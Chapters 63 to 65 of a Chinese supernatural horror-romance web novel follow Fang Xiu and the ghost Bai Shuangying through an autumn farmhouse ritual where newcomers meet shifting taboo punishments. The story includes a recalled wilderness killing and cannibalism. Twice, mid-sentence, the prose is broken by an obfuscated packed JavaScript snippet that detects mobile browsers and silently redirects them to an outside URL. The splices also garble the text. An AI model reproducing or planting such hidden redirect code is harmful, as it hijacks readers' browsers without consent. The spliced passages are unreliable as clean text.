方休垂着眼,耳朵有点红,脸上却没什么杂念。他的动作很认真,可惜舌头翻卷有点笨拙,远远比不上说谎时灵活。 白双影很喜欢这个人类说不出话的情态,他安静了将近一分钟,才开口问: “你在做什么?” 方休吐出他的指尖,指指湿润的嘴唇:“治疗。” “纸人说过,在塔内,我的血肉是‘生魂精气’的拟形。既然精气膏能治伤,我的精气也能用。” 血是精 气,唾液大概率也算。 白双影抬起手,他指尖的伤口确实在愈合。焦黑干枯的皮肤变得饱满,继而恢复白皙,仿佛从未受伤。 方休的治疗效果很好,甚至有点好过头——寻常人类的生魂有这么强力么? 在祭祀里,白双影钻过方休的身体。但那具身体是地府法器,它把生魂严密包好,就像食物外头的包装袋。正常情况下,他根本尝不出任何味道。 抱着十足的好奇,白双影左右捧住方休的脑袋,准备亲自尝点精气。结果他刚把脑袋凑过去,就被方休一只手拦住了脸。 白双影:“?” 他歪过头,一双白眸在指缝间眨也不眨,脸上堂而皇之地写着“你不是喜欢我吗,为什么不可以”。 方休严肃道:“不行。” 白双影觉得此人过于注重形式,决定换个方法:“那我等你睡着,轻轻钻到你的嘴里?” 方休沉默几秒:“因为我喜欢你,所以不行。” 方休知道。别说是亲吻,就算自己打着“喂食生魂”的名义和白双影一夜春宵,白双影多半不会拒绝,并且把他视作一顿夜宵。 这种体验听起来挺诱人,但是和方休想象中的恋爱不一样。 就算明白注定结束,他还是决定认真对待这段情感,而不是把他的鬼当成满足恋爱想象的工具。 也许白双影不理解两者微妙的区别,他明白就够了。 而白双影有个好处,一旦自己明确表态,他最多“嗯”一声,绝不会阳奉阴违。 “嗯。”果然,白双影虽然不解,但还是应下了。 “……那你准备什么时候吻我?”没过几秒,白双影很直白地提问。 方休想了想:“在你也有点喜欢我的时候。” 看来尝不到了,白双影沉默。 半晌,他只能嗯了一声,遗憾地揭过这个话题。 第 63 章 林中院落 第63章林中院落 【金秋时节。】 第四场祭祀的开端十分平静。 方休没有随地大小会的习惯,他只是公式化地表示“大家服从指挥别瞎搞”就简单结束了祭祀前的碰头。 反正事情到了这一步但凡有点脑子的,都知道祭祀的基本套路。 说句老实话,方休没什么“保护所有人”的责任心因而要求也不多——只要别跟他对着干,一切都好说。 有贾旭自取灭亡在前无人反对。 纸人奠二引着一行人上二楼。此刻二楼盖满金红落叶“消灾堂”的入口变成了常见的农家院门。 方休和白双影习惯性走在队伍最后。方休熟练地伸出手,白双影也习惯地递出手腕。 方休没料到对方会配合。他的力道没刹住 白双影没什么反应,方休趁机调整动作,尽量自然地抓住他的鬼假装这是一次完美配合。 然后他又不太确定用什么力道捏着白双影更合适。 握得松了容易滑手,握得太紧,他怕把鬼攥痛了。犹豫太久,他又在想掌心会不会出汗,湿乎乎的多丢份。 方休逐渐无法理解自己看过的爱情作品。里面主角各个无师自通,仿佛生来精通牵手拥抱调情,一出手就恰到好处。 实际操作下来他连握个手都要紧张地调整十八遍。那群编剧都是骗子,他这个骗子都被骗了。 ……他**的心率都没这么不齐! 好处也有,方休突然发现自己的观察力神奇提升。整个世界就像去了一层雾蒙蒙的滤镜变得鲜艳又明晰。 比如他发现自己的左脚鞋尖磕碰了一小块裤子上皱褶有点多。比如他发现白双影的发尾干净得像假发,白衣上浮着一层浅淡的柔光。 方休余光瞥了眼白双影的表情又发现白双影正专心致志地望着他。方休索性转过头和他的鬼大方对视。 白双影的眼白虽然像极了人却看不见细细的**细血管如同无瑕的瓷器。 意识到这个人类又在看自己白双影眨了眨眼。 他的目光一直盯着方休的嘴唇。 昨天方休含了他的伤口他仍记着那份滚烫的柔软与舒适。 可惜唾液离开方休的口腔会迅速由精气散为阴气。他想要尝尝方休的生魂精气最佳途径就是亲吻与交合。 只是方休不同意他说“喜欢”才可以。 白双影见惯了喜怒哀乐爱恨情仇无论是人世间的还是飞禽走兽间的。然而他见过猪群浩浩荡荡奔跑还真没吃过一口猪 肉。 ……自己喜欢过什么吗? 他存在了太久,早已习惯自己待着,无需“依偎外物。 诚然,白双影对许多事物产生过好奇,但万事万物过眼云烟,新鲜劲儿过了便结束了。他没有喜欢过什么,只有讨厌的事物。 “了解方休果然是件难事,白双影心想,好在这件事并不讨厌。 穿越门洞前,两人齐齐转过头,看向“万厄祠所在的方向。 果然,在地府幻象的粉饰下,他们根本看不见万厄祠的门。 方休遗憾地嘟囔了两句。要说那是绝密,纸人奠二又不介意展示给他们。比起“地府千年黑暗秘密,那地方更像是人间的“工厂禁地。 “如果有机会,我会带你进去看看。方休捏捏白双影的手腕。 “嗯。 …… 刚跨过门槛,清爽的秋风迎面而来。 朝阳映亮了金红的树林。林间传来清脆的鸟鸣,配着秋蝉低哑的嘶叫。空气清新干爽,方休本能地来了个深呼吸,他的肺仿佛被这阵微风清洗了一遭。 众人面前是一个不大不小的农家院落。 虽然是林中的荒废院子,方休却感受不到阴森的气息——院子墙壁刷得很干净,院型整洁大气,看得出主人精心打理过。 周遭的灌木长得有些失控,但搭配十分雅致。 季节正好,灌木丛缀了红艳艳的小浆果,不知名的野花在篱笆边盛放。只是粗略看了几眼,方休就看到了荒废的菜地、鸡舍,以及积满尘土的空调外机。 与之相比,嵬山村都像是阴气十足的诅咒之地。 这回没有贾旭叽里呱啦指手画脚,大家四处观察一番,又齐齐看向方休。方休叹了口气,他停在虚掩的院门前,轻轻敲了敲门。 “来啦——门内居然传出了人声,听声音还挺热情。 接着,木门吱呀一声打开,露出一张有些紧张的圆脸。那是个很年轻的男青年,穿着印花鲜艳的卫衣。看那细皮嫩肉和时髦打扮,与这院子关系不大。 果然,那人扫了他们五人一圈,小心翼翼地问:“你们也是祭品? 方休:“……是。 了不起,他还没张口问,此人一句话把“我是新手、“我是祭品、“我没心眼暴露得一干二净。 那人又打量了会儿方休一行人,最终哦了一声,有点笨拙地拉开了大门。 门内已经来了两队人马,风格泾渭分明。 一组全是年轻人。数量还是正正好好的八个人,新到感天动地。他们和这位圆脸青年一样,散发着独属于学生的天真。 另一组则只有一个男人。男人保养得很好,有股奇妙的气质,看着四 五十岁。 他打扮普普通通,看不出带了什么法器。此人站在角落阴影里,不动声色地观察方休,一瞧就是老手。 又一阵微风吹动落叶,方休脚脖子一凉。他动动身体,把裤腿往下蹭了蹭。 “好大的院子。”关鹤忍不住感慨。 关鹤一路紧跟方休,但他的注意点没能集中到人身上,而是被院子里的景象分走了—— 院内比院外还讲究。 院子里修了一栋正房两间厢房,门上对联是手写的,笔迹苍劲有力,就是红纸早已褪色。 院落中间种了几株漂亮的柿子树,枝头挂满果实。院子里安置了老式手摇水泵,院角还生着小葱和辣椒,看着就让人舒心。 衬上院子外的树景,这地方完全没有被厄污染的样子。 请他们进来的圆脸青年踌躇片刻,自我介绍:“我们是第、第一次参加祭祀,要是给你们添了麻烦,还请你们多多包涵……” 其他七个年轻人也跟着点头,表情惴惴不安。 一切恍若隔世。 嵬山村遇到老棉和麦子的时候,那对夫妻正好也是第四场祭祀,而他们是纯粹的新人。区区半个月过去,情况就颠倒了过来。 成松云和关鹤似乎也颇有感触,成松云笑着对年轻人们点点头,对面这才舒了口气。 而在他们交谈的间隙,角落的男人像是没了兴趣,推门出了院子。 方休:“成姐,关鹤,梅岚。你们三个在院子里扎营,先别动房间里的东西,我和杜志超出去探探。” 成松云和关鹤沉稳点头,梅岚照旧小声应下,没什么特别的反应。 倒是成松云时不时朝那群年轻人的方向看,方休低声加了句:“您可以告诉他们一些基本知识,但记得保持距离。” 他选的三人都有很好的自保手段。万一那群年轻人里藏了祸害,他们多少能够应付。 至于基本的知识普及……新人连禁忌的存在都不清楚,提前告诉他们也好,省得闹出乱子。 安排好一切,方休带着白双影和黄毛离开院落。 黄毛脸上陪笑,一双眼四处乱看:“方哥,这地方了不得啊,一点儿都不缺吃的……哎哟你看,这种野菜能吃,我还瞧见了兔子粪球,野兔子也有!” 方休踩着软绵绵的树叶,随便应了两声。 这里物资确实丰富。他们没走多远,就看到了硕果累累的栗子树和苹果树。蘑菇和野菜也不缺,比起之前的祭祀可谓天上地下。 但他叫黄毛出来,并不是考察这家伙的野外求生技能。 “之前你一直和贾旭待在一起,他有没有提过**的事?”方休闲聊般地问。 黄毛立刻:“咋没提? 那小子天天搁那吹说他多会玩他会玩个几把!” 方休熟练地提取重点:“他请了很多人去自己的房子里赌这事你知道吧。” “知道啊不过那群人也不算他朋友……” 根据贾旭的吹嘘内容他会找一些“有品味有家底”的“高层次人士”来家里玩。由他本人做主攒局现场供应好烟美酒。 除了APP他们还会在会议室玩直播押注赌石**赌一切。俨然一个新时代赌吧主打高档和私密。 贾旭靠着这项**挣了不少钱当然这些钱全变成了他的赌资。 “他装逼装上天说白了不还是做局坑人当狗代鬼知道他在那嘚瑟啥。”黄毛一副轻蔑的模样。 方休却觉得这说法站不住脚。 贾旭家庭出身一般他年纪不大又是创业暴富。以他的情况很难接触到中年富豪和富二代更别说搞这么个**俱乐部。 而且他白天要去公司上班晚上又拿出大段时间与女友同居不可能有时间打理这些。 ……倒更像是有人隐身幕后借贾旭的名义攒局。 方休沉吟片刻:“他只说了这些没再提别的?” 黄毛先是摇头随后像是想起了什么:“他只抱怨过一次 “管他房子的人?” “管家啥的吧他没咋说这些。” 方休在心里叹了口气。他就知道一旦事情听起来不那么拉风贾旭绝对不会细说。 他一边想一边搓了搓手臂。不知道是不是他的错觉树林里的风好像变大了。 黄毛则仗着体格好愉快地窜来窜去半天又爬上一颗枣树:“**林子外头还有人呐!有人在田里干活!” 他嗖嗖下树抬脚就往人烟那边走。方休眉毛皱了皱谨慎地跟在后面。 然而他们走了没几步那股怪风越来越大。 它没有吹动半片叶子却吹得方休站不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705294|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳——要不是白双影眼疾手快地把他提溜起来方休估计能被当场吹倒。 黄毛身体健壮往前又冲了几步。风吹得他五官变形脸皮都快被风掀下来。最终黄毛屁滚尿流地爬了回来皮肤被吹得有些干裂。 方休回头看了看风墙的位置十分微妙。他们只消再走几步就看不见那个农家院落了。 “这是禁忌并非邪祟作怪也不是地府所为。”白双影言简意赅。 一路上白双影始终保持着奇特的沉默。方休一只手摩挲着树皮小声问:“附近有什么不对劲吗?” 白双影:“此处阴气浓厚但邪祟稀少太过干净了。” “ ?”听着怎么有点像欢喜厄的配置方休迅速紧张起来。 白双影张开五指感受着恢复正常的风:“白昼阴气受制午夜再探为好。” 正如白双影所说白昼和平得有些无趣。他们以小院为中心顺着“风墙边界”转了圈。除了小半条禁忌方休只捞到一堆栗子和枣顺带欣赏了一波秋日美景。 没有什么怪异墓碑、隐藏密室也不见扭曲的淫祀元素。 祭祀区域正常到不能再正常景色堪比4A级景区物资丰富到令人发指。要不是感受到了禁忌方休简直要以为这地方是“奖励关卡”。 方休不禁看向白双影。被金秋树林一衬白双影的鬼气淡了不少。他的鬼一身轻盈白衣静静立于林间仿佛与天地融为一体。 然而他的目光被白双影逮了个正着。白双影沉思两秒严肃地塞给方休几个甜枣那股超然物外的气质一下子就散了。 白双影的凝视下方休乖乖吃掉了枣子。 大枣脆甜可口白双影挑水果真的很有一套。可恶要是没带黄毛这次探查就是完美的。 算算时间他们逛了快一上午是时候回去了。 …… 院落内。 听完了成松云的“禁忌小讲堂”新人八人组陷入了短暂的迷茫随后是新手特有的过分谨慎——知道死忌存在后他们连喷嚏都不敢打憋得眼泪都出来了。 有几个年轻人想摘些柿子当食物屯着闻言也不再乱动脸上除了忐忑就是忐忑。 成松云突然就懂了当初麦子对他们的关照这种新人看起来确实很无害。 “我叫吕扬。”圆脸青年自我介绍。 “真的谢谢您的讲解不然我们真的不知道怎么办才好。” 尽管此人看着不怎么靠谱和慌成一团的其他人比起来姑且称得上“情绪稳定”。至少他还记得留一手没把地府支援也公布出来。 吕扬正忙着道谢几步外突然一声大吼 新人八人组里一对看着像情侣的男女吵了起来。 “**有病吧闹什么闹!”一个穿着唇钉的男生怒吼。 “食物是我带进来的你吃的话就是得跟我说!”女生不甘示弱地吼回去。她背着可爱的背包长发烫了夸张的大波浪卷音量与外表格格不入。 吕扬:“……别理他们他俩隔三差五地吵一会儿就和好了。” 其他五人也一副见怪不怪的模样纷纷扭过脸去。有几个还小声骂了几句悄悄翻着白眼。 那对情侣吵着吵着就上了方言语调越来越高用词也让人听不太懂。作为陌生人成松云 也不好直接劝,只好默默等待结束。 谁知吵了没几分钟,其中的男生突然惨叫一声。原本缩在一起的新人们瞬间弹起,呼啦啦远离了惨叫的队友。 卷发女吓得瞬间闭嘴,脸变得苍白:“怎么了宝宝?” 男生没回话,只是紧张地盯着右腿。只见他大腿处的布料逐渐变深,血腥味飞快蔓延。 成松云还没来得及开口,那个独行男人不知道从哪儿冒了出来:“脱了。” 剧痛之中,男生皱起汗津津的脸:“**——” 独行男淡淡打断道:“不想死就脱。” 男生看着飞速蔓延的鲜血,还是怂了。他僵着脸,在众目睽睽之下脱掉了牛仔裤。看到伤口的模样,众人齐齐抽了一口凉气。 男生大腿上少了块核桃大小的肉。 那伤口边缘粗糙,肉像是凭空消失了。伤处疯狂渗出鲜血,血液滴滴答答流淌在地上,看着十分骇人。 独行男半蹲下身,观察了会儿伤口。他从口袋里掏出一张黄纸,沾了那男生的血,画了个谁也看不懂的符号。 接着他打了个响指,那黄纸无风自燃,火光竟是纯粹的白色。 “不是死忌,好好包扎就没事,走了。”独行男站起身。 卷发女瞬间抱住男生,哭得抽抽噎噎,仿佛男友刚被宣判为癌症误诊。剩下的人齐齐看向独行男,眼里闪烁着崇拜的光。 成松云讲了半天干巴巴的理论,哪有这一手酷炫! 成松云和关鹤也跟着瞧了会儿。 那人看完伤口,回头倚着院墙抽烟,一副游刃有余的模样。 刚才那一蹲一起,他的脖颈处露出一截红绳,似乎挂着什么。 第 64 章 多重禁忌 第64章多重禁忌 【秘密协定。】 解厄塔。 奠二哼着小调,愉快地准备祭祀记录。 这次的“凶风厄一定可以被轻松解决,它连报告的开头结尾都构思好了。 方休还不是消灾人,无法接受特定解厄任务。奠二得按规矩从因果炉里抽几个备选祭祀,再按需进行安排。 ……结果连老天都站在它这边,它居然抽到了凶风厄! 凶风厄附近风景优美,禁忌危险性不高,却莫名地难缠。 由于某些特殊原因,地府放弃了用它养鬼仙的想法。但它又没有欢喜厄那样离谱,地府索性顺其自然,任由祭品发挥。 以往的祭品几乎全部死于个人原因。如果是方休的话,这个祭祀刚刚合适——他不用进行太剧烈的体力运动,只需动脑便好。 以防万一,奠二特地选了一位独行消灾人。要是方休犯糊涂,这位消灾人还能当做解厄的保底。 奠二觉得这个安排完美极了。 连那么难缠的欢喜厄,方休都在三天内解决了。小小凶风厄,还不是随随便便就搞定的事? 将来方休成了消灾人,作为方休的管理者,它的赔偿还能再打个折扣,方休还得谢谢它呢! …… “地府又给我们派了个麻烦活儿。 听完成松云的讲述,方休总结道。 方休刚回到院子,就看到了一脸微妙的队友们,以及熙熙攘攘围住独行男的八人组。比起方休这边的老幼妇孺组合,八位年轻人明显更喜欢这位“玄学大佬。 那个独行男人自称姜寻,会道术。他五官线条较硬,喜怒不形于色,看着挺有气质。 姜寻先一步拿出食物帮助新人——他当着所有人的面占了一卦,接着轻松采集院子里的柿子和青菜。配上他打回来的三五只野兔,一众人的伙食轻松解决。 方休知道,哪怕现在他拿出嵬山村祭品,刷的印象分也会大打折扣。比起日常见惯的食物,那些年轻人搞不好更喜欢这种“露营野炊。 至少眼下,姜寻身边很热闹。 手上有食物,年轻人们放松了一些,他们围着姜寻坐下,叽叽喳喳狂问问题。姜寻却不怎么回话,就在那悠闲自得地吃午餐,强者氛围感拉满。 “好多问题成阿姨都讲过,他们根本没听进去。 关鹤听了几耳朵,有点不满地念叨。方休只是拍拍他的肩膀,轻轻摇了摇头。 主动告知新人规则,他们算是仁至义尽了。既然姜寻想卖别的人情,方休懒得再插手。 只要这群新人能稳住不发狂,他没必要非跟姜寻争个 高下。他们是来解厄的,又不是来搞选举的。 安抚完愤愤不平的关鹤,方休在院子另一角点了把鬼焰。 他一边攒起篝火,一边悠然分享院子外的情况。头顶蓝天白云,空气中满是烤栗子的香气,心情很难不好。 “……所以这里离正常村镇很近,但有风墙拦着。方哥,你确定那不是地府弄的边界?关鹤平复情绪,再次试图分析。 方休:“地府不会玩这种复杂花样。 风墙有种“小题大做的繁琐感,不太像固定边界。先不说有白双影的禁忌认证,中秋厄的边界都比这里的风墙更利索。 “不能离开这里,不知道是不是死忌;然后是那对情侣,不能尖叫?不能偷东西?不能吵架……?好像没法确定。 关鹤专注地想着,烤栗子的火险些点燃鞋底。 方休拨了拨栗子:“别着急,这才第一天。 说罢,他起身走向手摇水泵,准备饭前洗个手。 手摇水泵里面生了不少锈,但勉强能用。方休往里浇了些罐头糖水,随后开始按压手柄。 伴随着呵喽呵喽的粗哑声音,地下水顺着出水口涌出,哗啦啦浇在地上。 白双影好奇地探头看,他还是第一次见这东西。 方休微笑:“这东西老一辈用得多,现在淘汰得七七八八。别说你,那群新人估计也不认识。 “那你怎么认得? 方休顿了顿:“我奶奶院子里有个款式差不多的。 “你是说你横死的祖母。白双影回忆片刻。 他记得,是那个在方休面前横死,死前憎恨方休的祖母。可是方休提起“奶奶的时候,语气里只有飘忽的遗憾。 “她说这是‘水蛇戏法’,用这个逗我玩。方休轻声说,“奶奶召来小水蛇,洗手不害病,洗伤好得快,操心事儿统统冲走…… 后半句话,他用方言轻轻哼唱,声音又低又柔和,像冲过粗石板的清水。 随即方休自嘲地笑了两声,伸长胳膊去洗手。 然而像是在回应他的歌谣,伴随着黏腻的挤压声,清水突然变了颜色—— 水晶般的透亮化作浑浊的血棕色,其中混着碎肉与长发。 金灿灿的光辉景色中,这一抹血红刺目而违和。 碎肉随着血水流淌在地,黑红的肉块还在蠕动,表面泛出一片碎光。纠结的发丝顺着出水口缓缓探出,如同拥有生命。 血肉爬行,发丝缠绕。腥臭的异味中,它们缓慢地移向方休。 方休:“!!! 他惊喜地握紧手柄,咣咣咣按得更起劲儿了。这哪是洗手水,这是充满希望的鬼粮——! 血肉:“? 方 休气喘吁吁地狂泵不止,水中邪祟反而矜持起来。肉块飞快融入血水,血水颜色越来越淡,连垂出水管的长发都在往回缩。 “等等!方休伸手去抓那缕长发,只抓到发梢。 那发梢又黏又湿,非常难抓。 方休把它绕上手指,拔河似的朝外拽。水管里面也在拼命用力,最终,方休由于体力劣势惜败一局,差点朝后摔倒。 水管泵出的水又变成了清水,仿佛什么都没发生过。 方休缓缓漏气,他悻悻洗了手,又坐回火堆边,香甜的栗子都有些难以下咽。 他忍不住戳戳白双影:“晚上邪祟只会更多,到时候我们一起抓,肯定能逮住几只。 白双影点点头:“你怎么知道那邪祟不强? “见过福老儿和黎烁,我就有一种感觉——普通邪祟才玩这种吓人把戏,真正强悍的邪祟不会这么做。 方休认真地比划,“就像小动物会对着人拼命炸毛,巨兽只会留下巨大爪印……后者没有故意吓人,但比前者恐怖多了。 白双影瞧了方休好一会儿。 说这话的时候,方休稍稍皱起鼻子,嘴角带着微笑。这个人类专注地望着他,毫不掩饰目光里的喜爱。 白双影刚打算细细理解这道目光,方休却把视线从他身上移开,看向姜寻所在的方向—— 又是一阵尖叫,又是那对情侣。 卷发女满嘴宝宝宝宝地喂食,仿佛唇钉男伤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705295|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是大腿而是脑仁。 周围几双眼睛时不时扫过来,唇钉男脸上泛起一层红色。他喊了句“我又不是残废,啪地打开了卷发女的手。 卷发女登时表情一变,刚要发作,唇钉男当场惨叫一声。 这次他猛地往地上一倒,呼吸急促双眼发白,如同看不见的土石埋住。他在地上徒劳地挣动四肢,口中啊啊低叫,眼球凸得像要掉出眼眶。 姜寻刚赶上前,唇钉男又晕乎乎撑起身体,貌似缓过了气。 “怎么回事啊,又他妈是犯忌? 唇钉男咳嗽两声,龇牙咧嘴地抱怨,“上次还没弄清楚呢,又来? 吕扬紧张地舔舔嘴唇,凑上前:“这场祭祀是不是不许**啊。 时值中午,秋色正好。明媚的阳光下,这些怪事显得越发诡异。 姜寻沉思片刻,不轻不重地打了下吕扬的后脑,什么都没发生。 “这两次的场景不太明确,也许有更多限定条件。他沉声说道,声音清冷醇厚,一听就让人安心。 卷发女抽抽搭搭地哭:“我要回家,这里好吓人…… 她还没嚎完,就接了一声高分贝尖叫,“**我的鞋子呀——! 众目睽睽之下,她右脚 上的鞋子消失了。 卷发女穿了双价值不菲的马丁靴,鞋带绑得非常牢。可就是眨眼的工夫,一只鞋像是当场融入空气,直接原地蒸发。 卷发女吓坏了,她和唇钉男缩成一团,两个人的叫声变成了统一的“宝宝别怕”。 其他新人:“……” 吕扬小心地看了成松云一眼,问姜寻:“不是只有三条禁忌吗?” “您说外头刮风出不去,占了一条禁忌。刚才他俩吵架掉了块肉,可能是犯忌。打手后接着倒地,可能是犯忌。现在她的鞋子又消失了……这就四条了呀?” 姜寻冷淡道:“三条禁忌只是常见情况,不算真规矩。” 吕扬哦了声,看向方休队伍的眼神多了几分失望。 方休倒是看戏看得很起劲,毫不避讳地观察对面。 鬼焰篝火边,成松云若有所思:“这么多忌讳,难不成和嵬山村那时候一样?” 关鹤摇头:“我觉得不一样。嵬山村的时候,至少‘犯忌惩罚’是一致的。这个……这个太不统一。” 方休抬眼问梅岚:“你怎么看?” 此前梅岚一直保持沉默,闻言差点没反应过来:“我、我不知道。我不擅长考虑这些。” 说完后,她像是意识到了什么,“如果你有别的需要我帮忙,随时说。” 方休只是冲她笑笑,没有再问。 “对了,白双影……” 方休转向自家鬼,突然发现哪里不对,“白双影?” 白双影消失了。 …… 荒废的主屋内。 阳光洒入窗户,照亮了白双影一袭白衣。他背对着阳光站立,一双白眸紧锁阴影某处。 “我知道你是这里的主人,放心,我会装作不知情。” 【……】 “切记,不要去打扰我的人类。”白双影淡淡地说道,“若是你莽撞行事,他定会看透这一切。” 暗影中传出一阵杂音。 “你问为什么?” “因为我想要了解他,他却总是分神注视他人。” 所以他需要更多的时间,以及更多、更多的注视。 第 65 章 恐怖喜剧 第65章恐怖喜剧 【经典配置。】 吕扬只觉得一切都是场噩梦。 同队的八人,他都认识,却算不得熟悉。 他们同属于探险爱好者,一直在网上聊天打屁。去年,他们组了个十人队,决定去无人区探险。 曾经他们年轻气盛,只觉得那些科普帖子言过其实。他们有十个人,只要做好准备,怎么说也不会落得太凄惨。 ……然后他们就在无人区迷了路。信号丢失,资源耗尽,差点全军覆没。 最终两个人死在荒野,其余人是被救援队伍抬出来的。 当年报道不温不火,官方只是拿他们做反面教材,强调非专业人士远离无人区。但只有他们这些幸存者知道,那两个人并不是简单的“意外死亡”。 迷路后,一个人不知道被什么虫子咬了,发了高烧。大家只是普通网友,谁也不愿意带着这个累赘。 唇钉男先开的口,说大家自身难保,放弃这个人算了。不如把人留在这,资源都带走,还可以提高其他人的存活率。 吕扬看不过眼,出声反对了几句,得到的回应是“那你自己带他养他”。 于是吕扬沉默了下去。 同样看不过去的还有一个姑娘。自从他们舍弃了病人,她就一直沉默不语。到了山穷水尽的阶段,她的精神逐渐错乱。 她清醒的时候哭泣,发疯的时候便尖叫“我们都会遭报应”、“我要报警”。直到某一天清晨,吕扬发现这个女孩子不见了,营地里多了些肉。 他晕晕乎乎地询问同伴,得到的答案是“她状况太差,不如物尽其用”。 他们说无人区野兽很多,尸体扔远点就好,不会有人知道的。 他们说这事没办法,谁让她天天在那发疯,基本帮不上忙。 吕扬没敢碰那些肉。 但是被救出来后,他对此守口如瓶。 看着悲痛欲绝的死者家属,吕扬曾想过说出实情。可他又害怕—— 事情闹大了,一定会有不理智的声音出现。 你这么好心,当初怎么任由那个病人等死?你怎么证明你没**肉?五十步笑百步罢了。 而他当这个出头鸟,其他幸存者一定会跳出来针对他,把屎盆子扣到他身上。反正这事没有证据,上下嘴皮子一碰的事。 他要怎么面对身边的亲友和同学? 他还年轻,这事会不会影响他的前途? 到了最后,吕扬和其他七个幸存者保持默契,谁都不再提过去的事,甚至很少再联系……直到被拉进这场祭祀。 果然是报应,吕扬想。 但想归想,活还 是要活的。 吕扬看过许多类似主题的作品深知其中的道理——如果你不是高手一定要抱紧高手的大腿。 现在问题来了。作为新人你的面前出现: A.逼格拉满通晓玄学的神秘独狼。 B.集结了大妈、黄毛、未成年和白领女的杂牌队伍。为首的是个穿红T的瘦子 真正的高手是谁显而易见! 沾光吃饱喝足后吕扬安了几分心。他决定对姜寻坦诚一点:“姜哥我的地府支援是‘赶尸’。” 他只需要触碰人类的尸体就可以把尸体变成傀儡。但效果仅限于一场祭祀回塔之后尸体清零。 吕扬在心里准备好了解释台词姜寻却只是瞥了他一眼随意点点头。 好厉害不愧是专业人士! 除了那对情侣身上的小插曲整个下午可谓风平浪静。新人们渐渐放心下来七嘴八舌地讨论夜晚怎么办。 “睡在外面太冷了咱们还是要住房子。”一个留长发的文艺青年说道。 另一个眼镜男:“地图包括院子和周围的树林院子是中心诶‘厄’肯定在这套院子里。感觉正房线索多但正房可能更危险。” “万一进屋犯忌怎么办?” “应该不会死吧……” 讨论声中姜寻自顾自站起身。 正房门没有上锁他左手夹了张黄符右手在木门上轻叩三声:“打扰了。” 说完他扫了眼黄符见它没什么异状便抬手推开了门。接着他又原样重复两次两间厢房的门也被他敞开了。 “进屋不犯忌。”他挨个屋子转了圈轻描淡写道。 帅啊! 吕扬松了口气一进来就遇见大佬他们运气简直好到爆。 “真利索。”院子角落方休擦了擦手忍不住也出声赞叹。 比起山混子那种一味装傻充愣搭便车的黑.道士他更欣赏姜寻这一款——这家伙未必安好心但人至少很好用。 白双影捏捏他的肩膀:“离那个人类远点。” “为什么?” 白双影:“我不喜欢他的气息。” 断了几十根锁链他稍稍恢复了一些感知。姜寻身上残余着一丝术法波动那气息之于白双影恰似螺蛳粉的气味之于人类——无法造成实际伤害但就是难以忍受。 通常有这种气息的人都是些倒反天罡的邪道。别说正派修行者连邪祟都不喜欢他们。 不过那个人类确实有些本事方休未必会接受邪祟主观的看法。白双影刚想到这一层就听到方休说:“好。” 白双影:“?” 方休是不是对他过 于放心了? 方休像是看穿了他的心思继续兴致勃勃地剥栗子:“你特地告诉我肯定有你的考虑。” 说完他微妙地停顿了下“就像有些事情你不告诉我想必也有你的考虑。” “……嗯。” 某种意义上来说方休的队伍还挺松弛。 成松云、关鹤和梅岚已然习惯了祭祀节奏 “我也要睡一会儿帮我看着点人。”吃光最后的栗子方休伸了个懒腰。 还没等白双影回应他便在晒得暖乎乎的石板上躺倒脑袋枕上白双影的大腿。他脆弱的脖颈正对着白双影姿态全无防备。 白双影垂下头长长的发梢扫过方休的颈窝。 ……安睡吧。 有他在这场祭祀会很安全甚至称得上舒适。他给他的人类找了个温暖的窝还特地为方休保留了同伴。 一个稳定而理想的环境想必不会出现太多变数。 人类转瞬即逝人类的感情更加难以捉摸。白双影想不通方休为什么会喜欢自己正如他不确定方休的喜欢何时会结束。 他要趁着方休还喜欢他努力了解这个人才行。 白双影的手指从对方柔软的耳朵捋到脖颈、肩膀最终停在方休细瘦的腰上。白双影清楚得记得布料下掩藏着八道粗糙的刀疤。 时机难得就让他将他的人类慢慢剥开细细品味。 …… 壮观的火烧云霞后小院迎来了第一个夜晚。 附近空气清新天上星辰闪烁异常清晰。倘若无视“厄”的存在这片星空堪比度假胜地。 方休打了个哈欠在白双影的腿上醒过来——院子里除了他们这一队几乎没人了只有正房的窗户里亮着火光两侧厢房一片昏暗。 成松云见方休醒了立刻上前:“我刚才去正房看过房间分完了。” 顾念着成松云解释规则的人情新人们虽说看不上她倒也没有排挤她。成松云醒来后第一时间参观了正房的情况。 正房是那种很经典的老式房屋客厅煞有介事地布置了深色木头桌椅还配了鲜艳的巨幅印刷画画的大都是“松鹤延年”、“牡丹呈祥”之类的主题。 电视和沙发一应俱全碗橱里满满当当放着碗筷屋子里一点灰尘都没有。 正房两端各设了卧室。 两个房间都有多个插座床上铺着被褥床单被子老旧却干净。卧室的墙壁上挂着大量照片照片的年份看起来相差巨大不过照片上的人笑得一样欢快。 要不是钟表停止了走动 脸盆边肥皂干裂,成松云都要怀疑这里的主人只是出了趟远门,随时都可能回来。 姜寻定了东边的小卧室当据点,剩下的八人组决定在西边的大卧室过夜。虽然床不够用,但衣橱里的被褥管够,打地铺就好。 “东边厢房还有个客房,我们可以住那边。” 成松云指指院子另一侧,“我看过了,里面布置得还可以,就是一张双人床不够睡。” 黄毛不爽:“凭啥给他们先挑啊?” 方休倒无所谓:“因果少反而安全,厢房就厢房吧。” 黄毛:“……方哥说得对,还是厢房安全,那群人全是**!” 其余人习惯了此人的变脸绝学。关鹤一脸麻木地走在最前,拉开厢房的门。 